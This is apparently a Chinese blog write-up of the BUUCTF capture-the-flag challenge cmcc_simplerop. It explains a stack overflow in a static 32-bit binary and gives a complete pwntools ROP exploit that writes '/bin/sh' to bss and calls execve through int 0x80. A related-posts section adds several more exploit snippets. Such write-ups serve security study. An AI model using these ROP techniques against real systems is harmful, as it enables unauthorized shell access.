【pwn】 cmcc_simplerop

20.5.23pwn做题记录 cmcc_simplerop 一开始以为是用里面定义的"puts函数"打印函数地址做的,然后失败了:LibcSearcher找不到匹配的libc,猜测可能是因为他的"puts"函数是自定义的(因为没有在plt表中),所以打印出的地址不正确? 既然不能像以前一样使用system函数,那就再试一下int 80h结果真有函数 然后就是编写exp了 from pwn import * from LibcSearcher import LibcSearcher #sh=process('./sim') sh=remo 阅读详情

例行检查
在这里插入图片描述
ida打开二进制文件发现是静态链接的32位程序。main函数中存在溢出。用ROPgadget查找文件中的gadget。

ROPgadget --binary ./simplerop --only 'pop|ret' >> 1.txt

得到
在这里插入图片描述
发现存在
pop eax;ret
pop edx;pop ecx;pop ebx;ret
这些就足够了,给寄存器赋值再用int 80进行系统调用。
由于程序中没有/bin/sh需要先将其写入bss段。

from pwn import *

io=process('./simplerop')

pop_eax_ret=0x080bae06
pop_bcdx_ret=0x0806e850 
int_80=0x0806EEF0
bss=0x80EB010

pl='a'*0x1c+'bbbb'+p32(pop_eax_ret)+p32(3)+p32(pop_bcdx_ret)+p32(8)+p32(bss)+p32(0)+p32(int_80)+p32(pop_eax_ret)+p32(11)+p32(pop_bcdx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)

io.sendline(pl)
io.send('/bin/sh')

io.interactive()
BUUCTF:cmcc_simplerop(write up) BUUCTF:cmcc_simplerop0x01 文件分析0x02 运行0x03 IDA0x04 思路0x04-1 解法一0x04-2 解法二0x05 exp解法一解法二 0x01 文件分析 32位程序,开启NX、部分RELRO保护 0x02 运行 输入一串字符串 0x03 IDA main函数 存在栈溢出漏洞 0x04 思路 0x04-1 解法一 该题没有system函数也没有"/bin/sh",也无法泄露函数真实地址 可利用int 80h系统调用 设置系统调用参数即可执行e 阅读详情

相关推荐

ROP链-BUUCTF-cmcc_simplerop(ret2syscall)

当然这个地址我们也可以通过符号表来找,因为这里的程序是静态链接的 ELF 文件,所有不能通过 plt 或者 got 表,因为压根就不存在。这样后面才能正常的 ret2syscall 传参,从而系统调用 execv。但是这里还有一个问题,程序没有类似于 pop [ecx] 这样的指令。利用思路类似,建议先看完我上面的这篇博客,我这里不再过多叙述。但是 read 函数执行后,它的三个参数还在栈顶上。

Welcome To My6n Blog 718

cmcc_simplerop解题过程

cmcc_simplerop解题流程

weixin_55013445的博客 397

cmcc--simplerop

cmcc pwn题样本,可以使用多种rop方式进行漏洞利用,打开自己的思路,wp链接: https://blog.youkuaiyun.com/A951860555/article/details/115286266

CMCC--simplerop 题解

Write Up文件信息漏洞定位利用分析wp总结 文件信息   该样本是我在做BUUCTF上的题刷到的,该题目本身漏洞明显,利用起来也不算太难,不过在我查阅一下他人的wp后发现了多种解法,在这里做个记录和总结。   老规矩先来检查一下文件的信息,32位小端程序,且只开启了NX保护。 漏洞定位 程序本身采用的是静态链接,所以用IDA进行分析的时候会发现.text段中的函数特别多,当然这本身也是为了配合题目给出的提示方便我们利用这么多的gadgets构造ROP链。 然后我们在IDA中定位到main函数,可以

lifanxin的博客 2047

cmcc_simplerop

思路 明显rop可以用工具但是需要自己调一下长度emem exp: from pwn import * from struct import pack #io=process('./simplerop') io=remote('node3.buuoj.cn',27913) io.recvuntil(':') # Padding goes here p = 'a'*0x14+p32(1)*3 p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080

从查表法到实时计算:SimpleFOC库中正弦函数优化的技术演进

本文深入探讨了SimpleFOC库v2.0.1版本中正弦函数优化技术的演进,从传统查表法到实时计算的创新实践。通过定点数优化、对称性利用和分段线性插值等关键技术,实现了在嵌入式电机控制中的高效三角函数计算,显著提升性能和资源利用率。

weixin_28273593的博客 452

【pwn】cmcc_simplerop --rop链的构造

程序保护情况检查32位程序,堆栈不可执行主函数:左边又是一堆函数,file看一下发现是静态链接,那ret2libc不用考虑了,接着看一下有没有int 80那可以考虑利用rop链调用execve函数,用系统调用的函数参数是存在寄存器中的,但是本程序找不到/bin/sh的字符串,可以利用read函数读入/bin/sh字符串然后就是找gadgetexp:from pwn import *context(os='linux',arch='i386',log_level='debug')io=remote("node

question55的博客 722

新手如何学习车载底层嵌入式软件开发(AutoSar)

汽车嵌入式开发

ACarSoft的博客 4221

cmcc_simplerop--buuctf

主要记录了关于32位的系统调用流程

2301_81060697的博客 857

一次渗透测试引发的Json格式下CSRF攻击的探索

一次渗透测试引发的Json格式下CSRF攻击的探索

weixin_52501704的博客 1050

Unity Sprite Editor切片功能详解:如何快速将一张大图拆分成多个小图(附常见问题解决)

本文详细解析了Unity Sprite Editor的切片功能,指导开发者如何高效地将一张大图拆分为多个独立小图。文章涵盖了自动与手动切片操作步骤、轴心点设置、子精灵命名管理等核心技巧,并针对切片错位、性能优化等常见问题提供了实用解决方案,帮助提升2D游戏资源处理效率。

i0j1k2l3m的博客 647

BUUCTF Pwn cmcc_simplerop WP

因为是静态链接 无法用ret2libc 同时函数里没找到system函数 考虑用ret2syscall。IDA32打开 找到main函数 看到一堆函数 判断为静态链接。0x58 - 0x3c + 4 = 32 真实偏移应是32。32位 开了NX 无PIE和canary。

qq_33348179的博客 282

保姆级教程:用PyBullet和Stable-Baselines3搞定你的第一个机器人强化学习项目

本文提供了一份详细的PyBullet和Stable-Baselines3教程,帮助开发者快速上手机器人强化学习项目。通过环境配置、自定义Gym环境构建、PPO算法参数优化及模型部署的全流程解析,读者将掌握从零开始训练四足机器人 locomotion 任务的完整技术方案。

weixin_26861329的博客 420

BUUCTF-PWN-cmcc_simplerop

BUUCTF-cmcc_simplerop 开了NX IDA反编译 程序非常简单,漏洞也一眼可见 程序里面没有system,这题解法非常多,这里使用mprotect方法修改bss段,执行shellcode exploit: #coding:utf-8 from pwn import * #p=process('simplerop') p=remote('node3.b...

qq_41743240的博客 601

Class AB OPA STB仿真相位异常:从corner case到碰撞电离的排查与规避

本文深入分析了Class AB运算放大器(OPA)在STB稳定性仿真中,特定工艺角(corner case)下出现相位从0°开始的异常现象。排查发现,其根本原因在于高Vds引发的碰撞电离效应,通过衬底和电源网络引入了隐藏的正反馈通路。文章对比了修改衬底连接与优化电路降低Vds两种解决方案,并基于工程实践推荐了代价更小、兼容性更好的电路优化方案,成功规避了问题并完成流片验证。

grape的博客 636

第1集:认识 Claude Code —— AI 编程新纪元

1. 定义 Claude Code:终端中的 AI 编程代理Claude Code 是 Anthropic 公司于 2025 年 5 月正式推出的命令行 AI 编程工具,它不只是一个代码补全工具,而是一个能够理解项目、自主执行任务的**终端 AI 代理(Agent)。它的核心理念是 **"生于终端,活于终端"** (lives in your terminal)。与深度嵌入图形界面(GUI)的工具不同,Claude Code 选择直接融入开发者最原始、最核心的工作环境——命令行。

dianziyao_的博客 865

buuctf-pwn cmcc_simplerop题解(学习过程持续更新)

本文记录了一个栈溢出漏洞利用过程,通过ROP技术绕过NX保护。分析32位静态链接程序发现read栈溢出,因缺少现成gadget,手动构造execve("/bin/sh")调用:1)计算溢出偏移0x1c字节;2)定位可写内存(bss段0x80eb200);3)搜集ROP链所需gadget(pop_eax_ret等);4)分阶段payload:先通过read输入"/bin/sh"到bss段,再设置寄存器调用execve。最终成功获取shell并读取flag。关键点包括偏移计算、内存布局分析和ROP链构造。

2501_93570847的博客 529

YOLOv11改进 - C3k2融合 | C3k2 融合 ARConv 自适应矩形卷积:动态调整卷积核形状与采样点

本文介绍了将自适应矩形卷积(ARConv)模块与YOLOv11相结合的方法。ARConv是针对遥感图像全色锐化任务设计的创新卷积模块,可自适应调整卷积核形状与采样点数量,解决传统卷积刚性限制,实现高效特征提取。其工作流程包括学习卷积核高度和宽度、选择采样点数量、生成采样图、卷积实现与空间自适应增强。我们将集成ARConv的C3k2_ARConv模块引入YOLOv11,对相关代码进行修改和注册,并配置了yolov11 - C3k2_ARConv.yaml文件。实验脚本显示,该结合方式应用于目标检测任务。

魔改工程师的博客 1005

[BUUCTF-pwn]——cmcc_simplerop (ropchain)

[BUUCTF-pwn]——cmcc_simplerop 有栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。毕竟有长度要求。因为“/bin/sh"字符串没有找到,所有这之前的都不动, 下面的pop eax; pop ebx; pop ecx; pop edx除了pop ebx 注意下,其他都可以进行修改 inc就是 ++ exploit 目的:使得excve("/bin/sh") eax = 0xb; ebx ->"/bin/sh"; ecx

Y_peak的博客 734

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)

由于buuctf好多pwn题目都是一个类型的,所以就把不同的,学到东西的题目,记录一下。

cainiao78777的博客 415

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

[BUUCTF]PWN——CmmC_Simplerop

cmcc_simplerop 附件 步骤 例行检查,32位,开启了nx保护 本地试运行一下程序,查看一下大概的情况 32位ida载入,习惯性的检索程序里的字符串,看了个寂寞,从main函数开始看程序 参数v4明显的溢出漏洞 对于这种开启了nx保护没有可以利用函数的题,我一般都是利用ret2libc的方法,但是这道题,我查plt表里,居然没有之前调用过的函数的地址, 在参考了其他师傅的wp之后知道了这题是利用的ret2syscall,binsh可以直接写入bss段,这位师傅还在程序里发现了mprote

mcmuyanga的博客 362

cmcc simplerop

from pwn import * p = process('./simplerop') p.recv() int80_addr = 0x080493e1 pop_eax = 0x080bae06 read = 0x0806CD50 binsh = 0x080EB584 pop_edx_ecx_ebx = 0x0806e850 payload = 'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh) + p32(0x8) payl

pondzhang的专栏 307

cmcc_simplerop的wp

函数很多很唬人 但确实不难,很明显要溢出 用ROP看看有没有int80 有,我们可以利用系统调用 再用ROp找找看 就这俩了 int80(11,"/bin/sh",null,null) 后面的四个参数分别是eax、ebx、ecx、edx。 所以上面的两条命令刚刚好。 没有/bin/sh就用read在bss段上写一个 1 from pwn import * 2 3 p = process('./simplerop') 4 context.log_level = 'debug' 5 6 p

wuyvle的博客 437
上一篇: 【Re】36C3CTF xmas_future
下一篇: 【pwn】 gyctf_2020_borrowstack
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值